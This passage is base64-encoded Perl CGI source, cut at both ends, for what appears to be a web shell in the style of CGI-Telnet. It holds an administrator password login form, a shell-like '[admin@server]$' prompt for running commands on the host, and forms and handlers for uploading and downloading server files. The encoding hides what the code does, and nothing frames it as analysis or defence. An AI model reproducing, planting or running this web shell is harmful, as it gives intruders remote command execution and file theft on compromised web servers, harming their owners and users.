Gg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4